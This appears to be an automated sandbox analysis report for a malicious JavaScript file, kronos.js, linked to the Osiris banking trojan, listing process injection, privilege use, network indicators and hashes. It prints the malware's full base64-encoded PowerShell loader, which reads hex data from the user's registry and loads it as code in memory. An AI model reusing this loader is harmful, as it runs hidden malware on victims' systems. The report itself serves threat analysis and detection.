Analysis Overview
SHA256
a0081f88e43338810fe23bd2e1fba8857b45f4378df38fc0c217426468b924fc
Threat Level: Known bad
The file kronos.js was found to be: Known bad.
Malicious Activity Summary
Osiris
Executes dropped EXE
Looks up external IP address via web service
Suspicious use of SetThreadContext
Suspicious behavior: CmdExeWriteProcessMemorySpam
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2021-01-08 11:43
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-01-08 11:43
Reported
2021-01-08 11:45
Platform
win7v20201028
Max time kernel
103s
Max time network
12s
Command Line
Signatures
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1944 wrote to memory of 776 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\cmd.exe |
| PID 1944 wrote to memory of 776 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\cmd.exe |
| PID 1944 wrote to memory of 776 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\cmd.exe |
| PID 776 wrote to memory of 1728 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 776 wrote to memory of 1728 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 776 wrote to memory of 1728 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 776 wrote to memory of 1728 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\kronos.js
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
Network
Files
memory/776-2-0x0000000000000000-mapping.dmp
memory/1944-3-0x0000000002B30000-0x0000000002B34000-memory.dmp
memory/1728-4-0x0000000000000000-mapping.dmp
memory/1728-5-0x0000000073E40000-0x000000007452E000-memory.dmp
memory/1728-6-0x0000000002370000-0x0000000002371000-memory.dmp
memory/1728-7-0x0000000004810000-0x0000000004811000-memory.dmp
memory/1728-8-0x0000000004590000-0x0000000004591000-memory.dmp
memory/1728-9-0x0000000005240000-0x0000000005241000-memory.dmp
memory/1728-12-0x00000000056B0000-0x00000000056B1000-memory.dmp
memory/1728-17-0x00000000056F0000-0x00000000056F1000-memory.dmp
memory/1728-18-0x0000000006180000-0x0000000006181000-memory.dmp
memory/1728-25-0x00000000062D0000-0x00000000062D1000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-01-08 11:43
Reported
2021-01-08 11:45
Platform
win10v20201028
Max time kernel
150s
Max time network
113s
Command Line
Signatures
Osiris
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3772 set thread context of 732 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\kronos.js
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAbwBmAHEAZgBzAGcAZAAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
"C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
"C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 128.31.0.34:9131 | 128.31.0.34 | tcp |
| N/A | 8.8.8.8:53 | api.ipify.org | udp |
| N/A | 54.221.253.252:443 | api.ipify.org | tcp |
| N/A | 82.181.91.118:80 | 82.181.91.118 | tcp |
| N/A | 45.79.157.54:443 | tcp | |
| N/A | 8.8.8.8:53 | time-a.nist.gov | udp |
| N/A | 129.6.15.28:13 | time-a.nist.gov | tcp |
| N/A | 185.100.85.61:80 | 185.100.85.61 | tcp |
| N/A | 213.152.168.27:80 | 213.152.168.27 | tcp |
| N/A | 13.53.172.106:80 | 13.53.172.106 | tcp |
| N/A | 51.161.43.235:80 | 51.161.43.235 | tcp |
| N/A | 54.37.19.81:80 | 54.37.19.81 | tcp |
| N/A | 142.4.215.43:443 | tcp | |
| N/A | 167.114.170.156:80 | 167.114.170.156 | tcp |
| N/A | 192.42.116.14:80 | 192.42.116.14 | tcp |
| N/A | 127.0.0.1:32767 | tcp |
Files
memory/804-2-0x0000000000000000-mapping.dmp
memory/3772-3-0x0000000000000000-mapping.dmp
memory/3772-4-0x00000000734E0000-0x0000000073BCE000-memory.dmp
memory/3772-5-0x0000000005010000-0x0000000005011000-memory.dmp
memory/3772-6-0x0000000007C70000-0x0000000007C71000-memory.dmp
memory/3772-7-0x00000000079B0000-0x00000000079B1000-memory.dmp
memory/3772-8-0x0000000007A50000-0x0000000007A51000-memory.dmp
memory/3772-9-0x0000000007AC0000-0x0000000007AC1000-memory.dmp
memory/3772-10-0x0000000008560000-0x0000000008561000-memory.dmp
memory/3772-11-0x00000000088B0000-0x00000000088B1000-memory.dmp
memory/3772-12-0x0000000008C50000-0x0000000008C51000-memory.dmp
memory/3772-13-0x0000000008B20000-0x0000000008B21000-memory.dmp
memory/3772-14-0x0000000009960000-0x0000000009961000-memory.dmp
memory/3772-15-0x00000000098C0000-0x00000000098C1000-memory.dmp
memory/3772-16-0x00000000098E0000-0x00000000098E1000-memory.dmp
memory/3772-17-0x000000000A190000-0x000000000A191000-memory.dmp
memory/3772-18-0x0000000009A30000-0x0000000009A32000-memory.dmp
memory/3772-19-0x0000000009D80000-0x0000000009ECC000-memory.dmp
memory/732-20-0x0000000000400000-0x0000000000456000-memory.dmp
memory/732-21-0x0000000000401698-mapping.dmp
memory/732-22-0x0000000000400000-0x0000000000456000-memory.dmp
memory/4092-23-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
| MD5 | b4cd27f2b37665f51eb9fe685ec1d373 |
| SHA1 | 7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0 |
| SHA256 | 91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581 |
| SHA512 | e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e |
C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
| MD5 | b4cd27f2b37665f51eb9fe685ec1d373 |
| SHA1 | 7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0 |
| SHA256 | 91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581 |
| SHA512 | e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e |
C:\Users\Admin\AppData\Local\Temp\x64btit.txt
| MD5 | a8c080a673eaa56a3250e9eade588aeb |
| SHA1 | 822eeed497cb3ba4801b7804d49b1b4a1712ca57 |
| SHA256 | 10d3192452e3ab16442cfe16568a9b4b68c303481a2a6d26f1bfd05517737b09 |
| SHA512 | 62321b8668c438e661efdefa7f9cfefb53e313ee01036254b9f222b138e0bb80eeeaad67bf9b8144ffe4b636c3a4b549a2513c1559f78f4806ad49ca037e02ca |